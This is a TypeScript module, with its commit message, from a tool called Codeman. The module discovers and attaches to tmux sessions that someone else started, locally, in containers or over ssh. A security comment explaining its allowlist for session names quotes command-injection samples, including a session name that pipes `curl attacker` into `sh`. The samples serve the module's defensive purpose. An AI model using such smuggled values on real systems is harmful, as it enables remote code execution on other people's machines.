Files
Codeman/src/foreign-tmux.ts
T
d fei 09ccffd32e fix(adopt): never drive, write to, or answer for a session we did not start
Review items 3, 4 and the smaller ones on #510. An adopted session wraps a
process someone else launched, and its mode is whatever the probe saw — very
often `claude`. Every guard below is therefore its own `isAdopted` check rather
than a side effect of the external-CLI rule: the two ask different questions,
and merging them means the day the first loosens, Codeman starts acting on a
live conversation that is not ours.

- The boot workspace-hook sweep skipped only non-claude and `session.remote`.
  An adopted session keeps its connection on `adopt.remote` / `adopt.docker`,
  so a tab wrapping someone's in-container or over-ssh claude looked local and
  Codeman wrote `.claude/settings.local.json` into their repo on every restart.
- The workspace-trust auto-accept read the pane and pressed keys for 90s after
  `startInteractive()`. In an adopted pane that is someone else's dialog, and
  boot recovery re-opens the window on every restart.
- Auto-clear, auto-compact, auto-resume and the Ralph auto-enable in
  `POST /interactive` all drove the pane. Each now refuses with its own gate.
- The wrapper's `workingDir` was the foreign pane's cwd. That cwd can carry
  characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
  makes `createSession` throw so the tab never starts, and for a container or
  ssh candidate it is not a path on this host at all. It is now a neutral local
  `/tmp`, the same cwd `resolveMuxAttachCwd` already gives the pane; the foreign
  cwd stays on `adopt.paneCurrentPath` for display.
- The CLI signature table hardcoded ids, which CLAUDE.md forbids outside
  `stock.ts`, and had already gone stale: `omp` was missing, so a hand-started
  omp pane read as `shell`. It is now derived from each entry's
  `discovery.binaries` at call time, regex-escaped, longest name first. Stock
  entries only, since `SessionMode` is the closed union of stock ids.
- The descendant walk now passes `onTruncated`. A capped walk returns "nothing
  matched", which is byte-identical to the answer for a real shell.
- The home screen's wide scan is one-shot. Riding `docker exec` and a full ssh
  handshake per target, each with a ~12s timeout, on the 8s poll stacked
  connections on a slow host. Wide rows are kept apart and merged, because a
  local-only payload cannot contain them.
- Adoption failures report the server's own message. `_apiJson` folds a non-2xx
  to null, which collapsed "could not reach it just now" into "that session is
  gone" and reported a live remote session as deleted on every link flicker.

Tests: route tests for the refusals, the admin gate, the 404 re-resolve, the
one-wrapper-per-target reuse and the adopt round-trip; unit tests for the two
non-HTTP guards, the registry-derived signatures, truncation reporting and the
frontend's scan and error paths. Each guard was removed in turn to confirm its
own tests go red.
2026-09-30 23:29:54 -07:00

683 lines
30 KiB
TypeScript

/**
* @fileoverview Pure core for FOREIGN tmux sessions — the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts` — same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn —
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately — the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does — that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone) — it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and command substitution cannot live in this string: the local branch
* crosses `bash -c "..."`, where the OUTER shell expands it first. That is the
* same rule the docker launch chain states as "no command substitution", and the
* same trap that silently emptied `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { listClis } from './config/cli-registry/registry.js';
import { FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_MAX_SOCKETS } from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7 — the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command — which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters — so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ` +
`tmux -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
}
/** Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal. */
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>` — leading spaces are how `ps -o pid=` pads.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, m[3] ?? '');
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock && sockets.length < FOREIGN_MAX_SOCKETS && !sockets.includes(sock)) sockets.push(sock);
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: fields[8] ?? '',
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures, derived from the registry rather than written here.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. The binary names come from each entry's
* `discovery.binaries` — the one place that already knows a mode name is NOT
* always a binary name (`antigravity` runs `agy`). The hand-written table this
* replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
* had already fallen behind: `omp` was missing, so a hand-started omp pane read
* as a plain shell.
*
* Resolved at CALL time, never into a module-level const: a CLI enabled (or a
* custom entry added) at runtime must be recognised without a restart.
*
* ⚠️ Longest name first. `pi` is two characters and its "command itself" form
* would otherwise be tried before `opencode`'s; length order is what keeps a
* short generic name from claiming a pane that belongs to a longer one.
*
* ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
* while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
* a pattern out of an unescaped foreign string is how a config value turns into
* a regex. Escaping means the worst a bad name can do is match nothing.
*/
export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp }> {
const seen = new Set<string>();
const out: { mode: SessionMode; test: RegExp }[] = [];
// `listClis()`, not `enabledClis()`: classification is a description of what is
// ALREADY running in someone else's pane, not a decision to launch anything.
// A disabled CLI still deserves its real name on the row.
const named: { mode: SessionMode; name: string }[] = [];
for (const entry of listClis()) {
// ⚠️ Stock entries only, and this is a `stock` check rather than an id check
// on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
// entry has no SessionMode to be. Letting one through would put a value the
// union does not contain on `SessionState.mode`. A custom CLI's pane falls to
// the `shell` answer below, which is the honest one — Codeman has no name for
// it, and an adopted wrapper runs `attach` either way.
if (!entry.stock) continue;
for (const binary of entry.discovery.binaries) {
// `shell` declares none, which is right: it is the FALLBACK answer, never a
// signature match.
if (!binary || seen.has(binary)) continue;
seen.add(binary);
named.push({ mode: entry.id as SessionMode, name: binary });
}
}
named.sort((a, b) => b.name.length - a.name.length);
for (const { mode, name } of named) {
const n = escapeRegExp(name);
out.push({
mode,
test: new RegExp(
// the command itself · a `bin/` path · a node launcher under the CLI's
// own dot-directory (`~/.claude/local/.../cli.js`)
`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b|[/\\\\]\\.?${n}[/\\\\][^\\s]*cli\\.js`
),
});
}
return out;
}
function escapeRegExp(value: string): string {
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = matchSignature(own);
if (direct) return { mode: direct, command: truncate(own) };
// ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
// which is byte-identical to the answer for a real shell — without this line a
// deep or wide tree silently downgrades an agent pane to `shell` and there is
// nothing anywhere to tell the two apart.
const descendants = collectDescendants(pane.panePid, probe.byParent, {
onTruncated: (root, cap, reason) =>
console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
});
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = matchSignature(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = matchSignature(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
function matchSignature(argv: string): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
for (const sig of foreignCliSignatures()) {
if (sig.test.test(argv)) return sig.mode;
}
return null;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion — never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths — `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability — what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and the local launch chain
* ends at `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`. `JSON.stringify`
* escapes `"` and `\` — it does NOT escape `$` or a backtick — and the outer
* shell parses that string with those still live inside its double quotes. The
* inner single quotes this module adds do not help: the outer shell substitutes
* first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain — Unicode letters, digits,
* marks, spaces, and the punctuation people actually use — because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
* tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
* exec tmux -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
*
* - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
* on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
* joined `work-prod`, with nothing matching it created a fresh shell, and on a
* socket with no server it STARTED one. This line re-runs every time the wrapper
* pane is respawned, and boot recovery does that for every dead pane, so once the
* owner exits their session the next Codeman restart would leave a new shell on
* their machine, in their container or on their ssh host. `=` is what makes the
* check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
* noise out of the pane — the message we print says it better.
* - ⚠️ The `=` prefix cannot go on `new-session -t` itself: tmux reads it as part of
* the name and creates a group literally called `=work`. It has to be a separate
* `has-session`. The read-only `attach-session` fallback takes `=` too.
* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size — see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse — the same convention the docker launch chain uses.
* - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
* used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
* `new-session` failure. The one that actually happens is a leftover view with
* the same name (the in-container leak described above): measured, `new-session`
* answers `duplicate session: codeman-view-…` and the fallback then handed the
* user a read-only client showing the owner's status bar, where everything typed
* is dropped while the API reports success. That is the worst shape a failure can
* take here. So: clear OUR OWN stale view first, then either group successfully
* or exit with a message.
* - The `kill-session` is safe by construction and cannot touch the human's work:
* the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
* killing a session in a group removes only that session (measured: the owner's
* `work` survived its grouped view being killed). `2>/dev/null` because "no such
* session" is the normal case, not an error.
* - Single line: the string crosses `bash -c "..."`, where a real newline would
* not survive JSON escaping.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
// `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
// session; never for `new-session -t`, which would name the group `=name`.
const exact = fshq(`=${target.targetSession}`);
const v = fshq(target.viewSession);
const gone = fshq(
`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
);
const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
// Our own leftover view from a previous adoption of the same Codeman session.
const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
const group =
`exec tmux -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
return `${guard} ; ${dropStaleView} ; ${group}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined — e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
* exec. Never `create`, never `start` — the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
const exec = `exec ${opts.dockerBase} exec -it ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105) — either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members — so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(opts.viewSession)}`
);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)` — `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)` — `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it — interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [ssh, batchMode, '-t', ...rest, opts.sshTarget, fshq(buildForeignTmuxInvocation(opts))]
.filter(Boolean)
.join(' ');
}